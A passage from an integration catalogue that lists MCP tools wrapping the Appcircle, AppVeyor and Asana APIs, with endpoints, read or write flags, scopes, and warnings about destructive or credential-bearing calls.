Rename a Huawei App Gallery credential via PUT /store-credential/v2/credential/appgallery/{storeCredentialId}/rename PUT /api/v1/appcircle/store-credential/v2/credential/appgallery/{storeCredentialId}/rename. Scopes: api. appcircle_put_v2_credential_appgallery_by_storecredentialid_share (write) — Share a Huawei App Gallery credential via PUT /store-credential/v2/credential/appgallery/{storeCredentialId}/share PUT /api/v1/appcircle/store-credential/v2/credential/appgallery/{storeCredentialId}/share. Scopes: api. appcircle_put_v2_credential_apple_store_connect_api_by_storecredentialid_rename (write) — Rename an Appstore Connect connection via PUT /store-credential/v2/credential/apple-store-connect-api/{storeCredentialId}/rename PUT /api/v1/appcircle/store-credential/v2/credential/apple-store-connect-api/{storeCredentialId}/rename. Scopes: api. appcircle_put_v2_credential_apple_store_connect_api_by_storecredentialid_share (write) — Share an Appstore Connect connection via PUT /store-credential/v2/credential/apple-store-connect-api/{storeCredentialId}/share PUT /api/v1/appcircle/store-credential/v2/credential/apple-store-connect-api/{storeCredentialId}/share. Scopes: api. appcircle_put_v2_credential_intune_by_storecredentialid_rename (write) — Rename a Intune credential via PUT /store-credential/v2/credential/intune/{storeCredentialId}/rename PUT /api/v1/appcircle/store-credential/v2/credential/intune/{storeCredentialId}/rename. Scopes: api. appcircle_put_v2_credential_intune_by_storecredentialid_share (write) — Share a Intune credential via PUT /store-credential/v2/credential/intune/{storeCredentialId}/share PUT /api/v1/appcircle/store-credential/v2/credential/intune/{storeCredentialId}/share. Scopes: api. appcircle_put_v2_credential_playstore_by_storecredentialid_rename (write) — Rename a Google Play credential via PUT /store-credential/v2/credential/playstore/{storeCredentialId}/rename PUT /api/v1/appcircle/store-credential/v2/credential/playstore/{storeCredentialId}/rename. Scopes: api. appcircle_put_v2_credential_playstore_by_storecredentialid_share (write) — Share a Google Play credential via PUT /store-credential/v2/credential/playstore/{storeCredentialId}/share PUT /api/v1/appcircle/store-credential/v2/credential/playstore/{storeCredentialId}/share. Scopes: api. appcircle_put_v2_keystores_by_keystoreid (write) — Update a keystore friendly name via PUT /signing-identity/v2/keystores/{keystoreId} PUT /api/v1/appcircle/signing-identity/v2/keystores/{keystoreId}. Scopes: api. appcircle_put_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_intune_metadata (write) — Retrieves & Imports Microsoft Intune Metadata to Appcircle via PUT /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/intune/metadata PUT /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/intune/metadata. Scopes: api. appcircle_put_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_1 (write) — (Deprecated use V3) Retrieves and imports metadata and screenshoots from App Store Connect via PUT /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata PUT /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata~1. Scopes: api. appcircle_put_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_2 (write) — (Deprecated use V3) Clones sourceAppVersionId's metadata and screenshots to appversion via PUT /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata PUT /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata~2. Scopes: api. appcircle_put_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_1 (write) — Imports Play Store metadata from store via PUT /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata PUT /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata~1. Scopes: api. appcircle_put_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_2 (write) — Clones Play Store metadata from another app version via PUT /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata PUT /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata~2. Scopes: api. appcircle_put_v2_profiles_by_profileid_branch_by_branchid_workflow_by_workflowid (write) — Start new build for given profileId and branchId with specified workflow and environment variables in payload via PUT /build/v2/profiles/{profileId}/branch/{branchId}/workflow/{workflowId} PUT /api/v1/appcircle/build/v2/profiles/{profileId}/branch/{branchId}/workflow/{workflowId}. Scopes: api. appcircle_put_v2_profiles_by_profileid_configurations (write) — Update a build configuration via PUT /build/v2/profiles/{profileId}/configurations PUT /api/v1/appcircle/build/v2/profiles/{profileId}/configurations. Scopes: api. appcircle_put_v2_profiles_by_profileid_workflow_by_workflowid (write) — Start new build for given profileId and branch name with specified workflow and environment variables in payload via PUT /build/v2/profiles/{profileId}/workflow/{workflowId} PUT /api/v1/appcircle/build/v2/profiles/{profileId}/workflow/{workflowId}. Scopes: api. appcircle_put_v2_retention (write) — Updates the artifact retention settings via PUT /license/v2/retention PUT /api/v1/appcircle/license/v2/retention. Scopes: api. appcircle_put_v3_commits_by_commitid_build_by_workflow_with_environment (write) — Start new build manually with specified workflow and environments via PUT /build/v3/commits/{commitId}/build/by-workflow/with-environment PUT /api/v1/appcircle/build/v3/commits/{commitId}/build/by-workflow/with-environment. Scopes: api. appcircle_put_v3_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_clone (write) — Clones sourceAppVersionId's metadata and screenshots to appversion via PUT /publish/v3/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata/clone PUT /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata/clone. Scopes: api. appcircle_put_v3_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_import_from_store (write) — Retrieves and imports metadata and screenshoots from App Store Connect via PUT /publish/v3/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata/import-from-store PUT /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata/import-from-store. Scopes: api. ================================================================================ ## AppVeyor URL: https://www.agenticfabriq.com/integrations/appveyor Section: Integrated Tools AppVeyor — 44 MCP tools Provider key: appveyor. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. appveyor_delete_api_builds_by_accountname_by_projectslug_by_buildversion (write, destructive) — Cancel a queued or running build, via DELETE /api/builds/{accountName}/{projectSlug}/{buildVersion}. It STOPS WORK IN FLIGHT and cannot be resumed -- restarting means queuing a new build with 'Start build' -- and a cancellation partway through a deployment step leaves whatever that step had already done. `buildVersion` is the version STRING (`1.0.7`); the build record survives, so this is not 'Delete build'. Answers 204 with no body. DELETE /api/v1/appveyor/api/builds/{account_name}/{project_slug}/{build_version}. Scopes: api. appveyor_delete_api_builds_by_buildid (write, destructive) — PERMANENTLY DELETE one build record and its logs and artifacts, via DELETE /api/builds/{buildId}. Addressed by the NUMERIC `buildId` -- the version string is what 'Cancel build' takes -- and there is no undelete. The project and its other builds are untouched. Answers 204 with no body, so confirm by reading the history rather than by reading this reply. DELETE /api/v1/appveyor/api/builds/{build_id}. Scopes: api. appveyor_delete_api_collaborators_by_userid (write, destructive) — REVOKE AN OUTSIDE USER'S ACCESS to this account, via DELETE /api/collaborators/{userId}. Their own AppVeyor account is untouched -- what is destroyed is their role on this one -- and restoring it means inviting them again with 'Add collaborator'. Answers 204 with no body. DELETE /api/v1/appveyor/api/collaborators/{user_id}. Scopes: api. appveyor_delete_api_environments_by_deploymentenvironmentid (write, destructive) — PERMANENTLY DELETE a deployment environment, via DELETE /api/environments/{deploymentEnvironmentId}. Its provider settings, its stored target credentials and its access key go with it, and there is no undelete -- recreating it means re-entering every secret. Projects whose appveyor.yml deploys to this environment by name start failing. What was already deployed is not touched. Answers 204 with no body. DELETE /api/v1/appveyor/api/environments/{deployment_environment_id}. Scopes: api. appveyor_delete_api_projects_by_accountname_by_projectslug (write, destructive) — PERMANENTLY DELETE a project and everything AppVeyor holds for it -- its settings, its environment variables, its whole build history, the build logs and the artifacts -- via DELETE /api/projects/{accountName}/{projectSlug}. AppVeyor publishes no undelete and no API that recreates the history; 'Add project' would make a NEW project on the same repository with an empty past. Answers 204 with no body, so the 204 is not evidence anything was there. DELETE /api/v1/appveyor/api/projects/{account_name}/{project_slug}. Scopes: api. appveyor_delete_api_projects_by_accountname_by_projectslug_buildcache (write, destructive) — Clear a project's build cache via DELETE /api/projects/{accountName}/{projectSlug}/buildcache. The project, its settings and its build history are untouched -- what is destroyed is the cached dependency/output directories, so the next build rebuilds them and takes longer. This is the standard remedy for a build that is failing on stale cached state. Answers 204 with no body. DELETE /api/v1/appveyor/api/projects/{account_name}/{project_slug}/buildcache. Scopes: api. appveyor_delete_api_roles_by_roleid (write, destructive) — PERMANENTLY DELETE a role, via DELETE /api/roles/{roleId}. The permission matrix goes with it and there is no undelete -- recreating it means 'Add role' plus a full 'Update role'. Deleting a role people currently hold changes what those people can do, so read 'Get users' and 'Get collaborators' first. Answers 204 with no body. DELETE /api/v1/appveyor/api/roles/{role_id}. Scopes: api. appveyor_delete_api_users_by_userid (write, destructive) — REVOKE A PERSON'S ACCESS to the AppVeyor account by deleting their user, via DELETE /api/users/{userId}. It destroys the account user rather than any build data, and getting it back means re-creating them with 'Add user' and a new password. Deleting the last administrator can leave the account unadministrable. Answers 204 with no body. DELETE /api/v1/appveyor/api/users/{user_id}. Scopes: api. appveyor_get_api_buildjobs_by_jobid_log (read) — The full console log of ONE build job, via GET /api/buildjobs/{jobId}/log. `jobId` comes from a build's `jobs[]` -- read it with 'Get project last build' or 'Get project build by version'; a build with several matrix jobs has one log each. AppVeyor answers a text stream rather than JSON, so this tool returns `{"raw": ""}`. Measured 2026-09-25: a job id that does not exist answers 404, and a whole build log can be large. GET /api/v1/appveyor/api/buildjobs/{job_id}/log. Scopes: api. appveyor_get_api_collaborators (read) — Every collaborator on the connected account, via GET /api/collaborators: a person from ANOTHER AppVeyor account who has been given a role on this one. Each row carries `userId`, `roleId`, `roleName` and whether they are the owner. This is a different list from 'Get users', which is the account's own users. GET /api/v1/appveyor/api/collaborators. Scopes: api. appveyor_get_api_collaborators_by_userid (read) — One collaborator with the ACCOUNT'S FULL ROLE LIST beside them, via GET /api/collaborators/{userId}. The reply is `{user, roles}`, and the roles array is where the `roleId` for 'Update collaborator' comes from. GET /api/v1/appveyor/api/collaborators/{user_id}. Scopes: api. appveyor_get_api_deployments_by_deploymentid (read) — One deployment in full, via GET /api/deployments/{deploymentId}: the build that was deployed, the environment it went to, each deployment job with its status and timings, and the overall outcome. This is how to follow a deployment 'Start deployment' queued -- poll it until `status` leaves `queued`/`running`. GET /api/v1/appveyor/api/deployments/{deployment_id}. Scopes: api. appveyor_get_api_environments (read) — Every deployment environment on the account, via GET /api/environments: its `deploymentEnvironmentId`, name and provider (AzureBlob, AzureCS, FTP, Agent, and the rest of AppVeyor's deployment providers). The settings and secrets are not here -- 'Get environment settings' is the one that returns them. GET /api/v1/appveyor/api/environments. Scopes: api. appveyor_get_api_environments_by_deploymentenvironmentid_deployments (read) — The deployment history of ONE environment, via GET /api/environments/{deploymentEnvironmentId}/deployments: which builds of which projects went there, when, and how each ended. The per-PROJECT view of the same records is 'Get project deployments'. GET /api/v1/appveyor/api/environments/{deployment_environment_id}/deployments. Scopes: api. appveyor_get_api_environments_by_deploymentenvironmentid_settings (read) — One deployment environment's full configuration, via GET /api/environments/{deploymentEnvironmentId}/settings. READ THE REPLY AS CREDENTIAL MATERIAL: `settings.providerSettings` is where the deployment target's own secrets live -- AppVeyor's documented FTP sample carries a `password` entry -- and each value is `{isEncrypted, value}` with the value present. This is also the document 'Update environment' expects back whole. GET /api/v1/appveyor/api/environments/{deployment_environment_id}/settings. Scopes: api. appveyor_get_api_projects (read) — Every project on the connected AppVeyor account, each with its repository (type, name, branch), its slug -- the `projectSlug` every other project tool takes -- its NuGet feed and its most recent build, via GET /api/projects. This is the tool to call first: nothing else here can be addressed without the `accountName`/`projectSlug` pair it returns. It is not paged and takes no arguments. GET /api/v1/appveyor/api/projects. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug (read) — One project together with its LAST build and that build's jobs, via GET /api/projects/{accountName}/{projectSlug}. The reply is `{project, build}`, and `build.jobs[].jobId` is the id 'Download build log' needs. Measured 2026-09-25: an account or slug that does not exist answers 404 rather than 401, so a 404 here means the pair is wrong, not that the key is. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_branch_by_buildbranch (read) — The last build of ONE branch of a project, via GET /api/projects/{accountName}/{projectSlug}/branch/{buildBranch}. The reply is the same `{project, build}` shape as 'Get project last build'; this is the narrowing of it that answers 'is master green'. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/branch/{build_branch}. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_build_by_buildversion (read) — One named build of a project, via GET /api/projects/{accountName}/{projectSlug}/build/{buildVersion}. `buildVersion` is AppVeyor's own version STRING (`1.0.7`), not the numeric `buildId` -- 'Delete build' is the one that takes the id. The reply is the same `{project, build}` shape as 'Get project last build'. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/build/{build_version}. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_deployments (read) — A project's deployment history -- which builds went to which environments and how each ended -- via GET /api/projects/{accountName}/{projectSlug}/deployments. AppVeyor caps and defaults `recordsNumber` at 20, so asking for more returns 20. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/deployments. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_history (read) — A page of a project's build history, newest first, via GET /api/projects/{accountName}/{projectSlug}/history. `recordsNumber` is required, and paging is by `startBuildId` -- pass the last `buildId` of the page you have to get the ones before it. This is the only tool that reads more than one build at a time. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/history. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_settings (read) — A project's FULL settings document via GET /api/projects/{accountName}/{projectSlug}/settings: the build configuration, matrix, scripts, artifacts, deployment targets, notifications and the project's security descriptor. This is the document 'Update project' expects back -- read it, change what you mean to change, and send the whole thing, because that call REPLACES the project rather than patching it. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/settings. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_settings_environment_variables (read) — A project's environment variables via GET /api/projects/{accountName}/{projectSlug}/settings/environment-variables. READ THE REPLY AS CREDENTIAL MATERIAL: each entry is `{name, value:{isEncrypted, value}}`, and AppVeyor's own documented sample shows an `isEncrypted: true` variable returning its secret IN CLEAR TEXT (`"value":"very-secret-key-in-clear-text"`). `isEncrypted` describes how the value is stored and shown in the web UI, not whether this API withholds it. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/settings/environment-variables. Scopes: api. appveyor_get_api_projects_by_accountname_by_projectslug_settings_yaml (read) — The project's appveyor.yml as TEXT, via GET /api/projects/{accountName}/{projectSlug}/settings/yaml. AppVeyor answers `text/plain`, not JSON, so this tool returns `{"raw": ""}` -- the YAML is the string under `raw` and is not parsed here. Note this reads the settings STORED ON THE PROJECT; a repository that carries its own appveyor.yml is built from the repository copy instead unless the project is configured to ignore it. GET /api/v1/appveyor/api/projects/{account_name}/{project_slug}/settings/yaml. Scopes: api. appveyor_get_api_roles (read) — Every role the account defines, via GET /api/roles: `roleId`, `name`, and `isSystem` for the two AppVeyor ships (Administrator, User). This is the tool that supplies the `roleId` every user and collaborator call takes. It is also the endpoint AppVeyor's own PowerShell, C# and curl samples use as the canonical authenticated call, and the one Agentic Fabriq probes a pasted key against. GET /api/v1/appveyor/api/roles. Scopes: api. appveyor_get_api_roles_by_roleid (read) — One role with its FULL PERMISSION MATRIX, via GET /api/roles/{roleId}: the `groups` array names every permission AppVeyor defines and whether this role is allowed it -- Projects (ManageProjects, UpdateProjectSettings, RunProjectBuild, DeleteProjectBuilds), Environments, Account, Users, Roles and User (ConfigureApiKeys, 'Generate API keys'). That last one is what decides whether a person can mint the API token this integration connects with. It is also the document 'Update role' expects back whole. GET /api/v1/appveyor/api/roles/{role_id}. Scopes: api. appveyor_get_api_users (read) — Every user on the connected AppVeyor account, via GET /api/users: name, email, the role each holds and their build-notification settings. These are ACCOUNT USERS -- people who sign in to this account -- which is a different list from 'Get collaborators'. The `userId` values here are what 'Get user', 'Update user' and 'Delete user' take. GET /api/v1/appveyor/api/users. Scopes: api. appveyor_get_api_users_by_userid (read) — One account user with the ACCOUNT'S FULL ROLE LIST beside them, via GET /api/users/{userId}. The reply is `{user, roles}` -- the roles array is every role the account defines, which is how a caller finds the `roleId` to send to 'Update user'. GET /api/v1/appveyor/api/users/{user_id}. Scopes: api. appveyor_post_api_builds (write) — QUEUE A BUILD, via POST /api/builds. ONE endpoint, three documented shapes, and the body chooses between them: `branch` alone builds that branch's most recent commit, `branch` + `commitId` builds that specific commit, and `pullRequestId` (instead of both) builds a pull request. `environmentVariables` applies to this run only. THIS SPENDS BUILD MINUTES and runs whatever the project's appveyor.yml says -- including its deployment steps, which can reach production -- so it is a real side effect, not a read. The reply is the queued build with its `buildId` and `version`, status `queued`. POST /api/v1/appveyor/api/builds. Scopes: api. appveyor_post_api_collaborators (write) — GIVE SOMEONE OUTSIDE THIS ACCOUNT ACCESS TO IT, via POST /api/collaborators. They are identified by email and granted `roleId`, so read 'Get roles' first rather than copying a number -- an administrator role hands over the account. Answers 204 with no body; read 'Get collaborators' back to see the result. POST /api/v1/appveyor/api/collaborators. Scopes: api. appveyor_post_api_deployments (write) — DEPLOY A BUILD TO AN ENVIRONMENT, via POST /api/deployments. THIS REACHES THE TARGET SYSTEM -- an FTP site, an Azure service, a deployment agent on a real server -- so it changes something outside AppVeyor and there is no dry run. The build is named by `buildVersion` (the version string) and the environment by `environmentName`. The reply is the queued deployment with its `deploymentId`; follow it with 'Get deployment'. POST /api/v1/appveyor/api/deployments. Scopes: api. appveyor_post_api_environments (write) — Create a deployment environment, via POST /api/environments. THE BODY CARRIES THE DEPLOYMENT TARGET'S OWN CREDENTIALS in `settings.providerSettings` -- AppVeyor's documented sample sends an FTP password -- so mark secret entries `isEncrypted: true`. The reply includes the generated `environmentAccessKey`, which is itself credential material. Creating an environment does not deploy anything; 'Start deployment' does. POST /api/v1/appveyor/api/environments. Scopes: api. appveyor_post_api_projects (write) — Add a repository to the account as a new AppVeyor project, via POST /api/projects. The reply carries the `slug` AppVeyor minted, which is NOT always the repository name -- a collision gets a suffix (`demo-app-335`) -- so read it back rather than assuming it. The account must be able to see the repository already: AppVeyor's authorization of the source-control provider is set up in its web UI and there is no API for it. POST /api/v1/appveyor/api/projects. Scopes: api. appveyor_post_api_roles (write) — Create a role on the account, via POST /api/roles. It takes a NAME ONLY: the role is created with every permission denied, and the permission matrix is set afterwards with 'Update role'. The reply is the new role's document, which is the one to edit and send back. POST /api/v1/appveyor/api/roles. Scopes: api. appveyor_post_api_users (write) — Create a user on the connected AppVeyor account, via POST /api/users. THIS GRANTS SOMEBODY ACCESS: `roleId` decides what they can do, so read 'Get roles' first rather than copying a number. Prefer `generatePassword: true` -- the `password`/`confirmPassword` pair travels in the request body in clear text. Answers 204 with no body, so read 'Get users' back to find the id that was created. POST /api/v1/appveyor/api/users. Scopes: api. appveyor_put_api_collaborators (write) — Change which role a collaborator holds on this account, via PUT /api/collaborators. Both ids travel in the BODY. This is a privilege change in both directions -- promoting hands over more of the account, demoting can take away access somebody's automation depends on. Answers 204 with no body. PUT /api/v1/appveyor/api/collaborators. Scopes: api. appveyor_put_api_deployments_stop (write, destructive) — Stop a deployment that is already running, via PUT /api/deployments/stop. IT INTERRUPTS WORK ON A REAL TARGET and cannot be resumed: whatever the deployment had already written stays written, so the target can be left half-updated and the remedy is a fresh 'Start deployment', not a retry of this one. Answers 204 with no body. PUT /api/v1/appveyor/api/deployments/stop. Scopes: api. appveyor_put_api_environments (write) — REPLACES a deployment environment's configuration, via PUT /api/environments. A whole-document write: read 'Get environment settings', change what you mean, and send it back -- a partial `settings` object drops the provider settings and environment variables it omits, which for a deployment target means dropping its credentials and breaking every later deployment to it. PUT /api/v1/appveyor/api/environments. Scopes: api. appveyor_put_api_projects (write) — REPLACES a project's settings via PUT /api/projects, and it is a whole-document write rather than a patch: AppVeyor's own sample body is the entire settings object. THE SAFE SEQUENCE IS READ-MODIFY-WRITE -- call 'Get project settings', change the fields you mean, and send that document back. A partial body silently drops every setting it omits, including build scripts, the build matrix, artifact rules, deployment targets and the project's security descriptor. Answers 204 with no body. PUT /api/v1/appveyor/api/projects. Scopes: api. appveyor_put_api_projects_by_accountname_by_projectslug_settings_build_number (write) — Set the number the project's NEXT build will take, via PUT /api/projects/{accountName}/{projectSlug}/settings/build-number. The narrow alternative to 'Update project' for this one field, and the reason to prefer it: the full update replaces the whole settings document. Lowering the number can make a later build carry a version string an earlier one already used. Answers 204 with no body. PUT /api/v1/appveyor/api/projects/{account_name}/{project_slug}/settings/build-number. Scopes: api. appveyor_put_api_projects_by_accountname_by_projectslug_settings_environment_variables (write) — REPLACES a project's whole environment-variable set, via PUT /api/projects/{accountName}/{projectSlug}/settings/environment-variables. THE BODY IS A JSON ARRAY AND IT IS THE COMPLETE LIST: any variable not in it is deleted, so read the current set with 'Get project environment variables' and send it back with the change applied. Each entry is `{name, value:{isEncrypted, value}}`; set `isEncrypted` true to have AppVeyor store the value encrypted and mask it in build logs. Answers 204 with no body. PUT /api/v1/appveyor/api/projects/{account_name}/{project_slug}/settings/environment-variables. Scopes: api. appveyor_put_api_projects_by_accountname_by_projectslug_settings_yaml (write) — REPLACES the project's stored appveyor.yml, via PUT /api/projects/{accountName}/{projectSlug}/settings/yaml. The body is PLAIN TEXT, not JSON: pass the whole YAML document as the `body` string and Agentic Fabriq sends it with `Content-Type: text/plain`. Whole-document, so read the current YAML with 'Get project settings in YAML' first -- whatever is sent becomes the entire build definition. Answers 204 with no body. PUT /api/v1/appveyor/api/projects/{account_name}/{project_slug}/settings/yaml. Scopes: api. appveyor_put_api_roles (write) — REWRITE A ROLE'S PERMISSIONS, via PUT /api/roles. THIS IS THE ACCOUNT'S ACCESS CONTROL and it is a whole-document write: read the role with 'Get role', flip the `allowed` flags in `groups`, and send the document back. A partial `groups` array takes away every permission it omits, and granting ManageProjects, UpdateAccountDetails or the Users/Roles permissions hands over most of the account. The reply is the updated role. PUT /api/v1/appveyor/api/roles. Scopes: api. appveyor_put_api_users (write) — Update an account user, via PUT /api/users. The user is named by `userId` IN THE BODY -- there is no id in the path. It is a whole-record write in AppVeyor's own sample, so read 'Get user' first and send the fields back rather than a bare pair. `roleId` IS A PRIVILEGE CHANGE. Answers 204 with no body. PUT /api/v1/appveyor/api/users. Scopes: api. ================================================================================ ## Asana URL: https://www.agenticfabriq.com/integrations/asana Section: Integrated Tools Asana — 248 MCP tools Provider key: asana. Scopes: none. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. asana_delete_allocations_by_allocation_gid (write, destructive) — Delete allocation via DELETE /allocations/{allocation_gid} DELETE /api/v1/asana/allocations/{allocation_gid}. Scopes: none. asana_delete_attachments_by_attachment_gid (write, destructive) — Delete attachment via DELETE /attachments/{attachment_gid} DELETE /api/v1/asana/attachments/{attachment_gid}. Scopes: none. asana_delete_budgets_by_budget_gid (write, destructive) — Delete budget via DELETE /budgets/{budget_gid} DELETE /api/v1/asana/budgets/{budget_gid}. Scopes: none. asana_delete_custom_fields_by_custom_field_gid (write, destructive) — Delete custom field via DELETE /custom_fields/{custom_field_gid} DELETE /api/v1/asana/custom_fields/{custom_field_gid}. Scopes: none. asana_delete_goals_by_goal_gid (write, destructive) — Delete goal via DELETE /goals/{goal_gid} DELETE /api/v1/asana/goals/{goal_gid}. Scopes: none. asana_delete_memberships_by_membership_gid (write, destructive) — Delete membership via DELETE /memberships/{membership_gid} DELETE /api/v1/asana/memberships/{membership_gid}. Scopes: none. asana_delete_ooo_entries_by_ooo_entry_gid (write, destructive) — Delete ooo entry via DELETE /ooo_entries/{ooo_entry_gid} DELETE /api/v1/asana/ooo_entries/{ooo_entry_gid}. Scopes: none. asana_delete_portfolios_by_portfolio_gid (write, destructive) — Delete portfolio via DELETE /portfolios/{portfolio_gid} DELETE /api/v1/asana/portfolios/{portfolio_gid}. Scopes: none. asana_delete_project_briefs_by_project_brief_gid (write, destructive) — Delete project brief via DELETE /project_briefs/{project_brief_gid} DELETE /api/v1/asana/project_briefs/{project_brief_gid}. Scopes: none. asana_delete_project_statuses_by_project_status_gid (write, destructive) — Delete project status via DELETE /project_statuses/{project_status_gid} DELETE /api/v1/asana/project_statuses/{project_status_gid}. Scopes: none. asana_delete_project_templates_by_project_template_gid (write, destructive) — Delete project template via DELETE /project_templates/{project_template_gid} DELETE /api/v1/asana/project_templates/{project_template_gid}. Scopes: none. asana_delete_projects_by_project_gid (write, destructive) — Delete project via DELETE /projects/{project_gid} DELETE /api/v1/asana/projects/{project_gid}. Scopes: none. asana_delete_rates_by_rate_gid (write, destructive) — Delete rate via DELETE /rates/{rate_gid} DELETE /api/v1/asana/rates/{rate_gid}. Scopes: none. asana_delete_roles_by_role_gid (write, destructive) — Delete role via DELETE /roles/{role_gid} DELETE /api/v1/asana/roles/{role_gid}. Scopes: none. asana_delete_sections_by_section_gid (write, destructive) — Delete section via DELETE /sections/{section_gid} DELETE /api/v1/asana/sections/{section_gid}. Scopes: none. asana_delete_status_updates_by_status_update_gid (write, destructive) — Delete status via DELETE /status_updates/{status_update_gid} DELETE /api/v1/asana/status_updates/{status_update_gid}. Scopes: none. asana_delete_stories_by_story_gid (write, destructive) — Delete story via DELETE /stories/{story_gid} DELETE /api/v1/asana/stories/{story_gid}. Scopes: none. asana_delete_tags_by_tag_gid (write, destructive) — Delete tag via DELETE /tags/{tag_gid} DELETE /api/v1/asana/tags/{tag_gid}. Scopes: none. asana_delete_task_templates_by_task_template_gid (write, destructive) — Delete task template via DELETE /task_templates/{task_template_gid} DELETE /api/v1/asana/task_templates/{task_template_gid}. Scopes: none. asana_delete_tasks_by_task_gid (write, destructive) — Delete task via DELETE /tasks/{task_gid} DELETE /api/v1/asana/tasks/{task_gid}. Scopes: none. asana_delete_time_tracking_categories_by_time_tracking_category_gid (write, destructive) — Delete time tracking category via DELETE /time_tracking_categories/{time_tracking_category_gid} DELETE /api/v1/asana/time_tracking_categories/{time_tracking_category_gid}. Scopes: none. asana_delete_time_tracking_entries_by_time_tracking_entry_gid (write, destructive) — Delete time tracking entry via DELETE /time_tracking_entries/{time_tracking_entry_gid} DELETE /api/v1/asana/time_tracking_entries/{time_tracking_entry_gid}. Scopes: none. asana_delete_webhooks_by_webhook_gid (write, destructive) — Delete webhook via DELETE /webhooks/{webhook_gid} DELETE /api/v1/asana/webhooks/{webhook_gid}. Scopes: none. asana_get_access_requests (read) — Get access requests via GET /access_requests GET /api/v1/asana/access_requests. Scopes: none. asana_get_agents_by_agent_gid (read) — Get agent via GET /agents/{agent_gid} GET /api/v1/asana/agents/{agent_gid}. Scopes: none. asana_get_allocations (read) — Get allocations via GET /allocations GET /api/v1/asana/allocations. Scopes: none. asana_get_allocations_by_allocation_gid (read) — Get allocation via GET /allocations/{allocation_gid} GET /api/v1/asana/allocations/{allocation_gid}. Scopes: none. asana_get_attachments (read) — Get attachments for object via GET /attachments GET /api/v1/asana/attachments. Scopes: none. asana_get_attachments_by_attachment_gid (read) — Get attachment via GET /attachments/{attachment_gid} GET /api/v1/asana/attachments/{attachment_gid}. Scopes: none. asana_get_budgets (read) — Get budgets via GET /budgets GET /api/v1/asana/budgets. Scopes: none. asana_get_budgets_by_budget_gid (read) — Get budget via GET /budgets/{budget_gid} GET /api/v1/asana/budgets/{budget_gid}. Scopes: none. asana_get_custom_fields_by_custom_field_gid (read) — Get custom field via GET /custom_fields/{custom_field_gid} GET /api/v1/asana/custom_fields/{custom_field_gid}. Scopes: none. asana_get_custom_types (read) — Get custom types via GET /custom_types GET /api/v1/asana/custom_types. Scopes: none. asana_get_custom_types_by_custom_type_gid (read) — Get custom type via GET /custom_types/{custom_type_gid} GET /api/v1/asana/custom_types/{custom_type_gid}. Scopes: none. asana_get_events (read) — Get events via GET /events GET /api/v1/asana/events. Scopes: none. asana_get_goal_relationships (read) — Get goal relationships via GET /goal_relationships GET /api/v1/asana/goal_relationships. Scopes: none. asana_get_goal_relationships_by_goal_relationship_gid (read) — Get goal relationship via GET /goal_relationships/{goal_relationship_gid} GET /api/v1/asana/goal_relationships/{goal_relationship_gid}. Scopes: none. asana_get_goals (read) — Get goals via GET /goals GET /api/v1/asana/goals. Scopes: none. asana_get_goals_by_goal_gid (read) — Get goal via GET /goals/{goal_gid} GET /api/v1/asana/goals/{goal_gid}. Scopes: none. asana_get_goals_by_goal_gid_custom_field_settings (read) — Get custom field settings for goal via GET /goals/{goal_gid}/custom_field_settings GET /api/v1/asana/goals/{goal_gid}/custom_field_settings. Scopes: none. 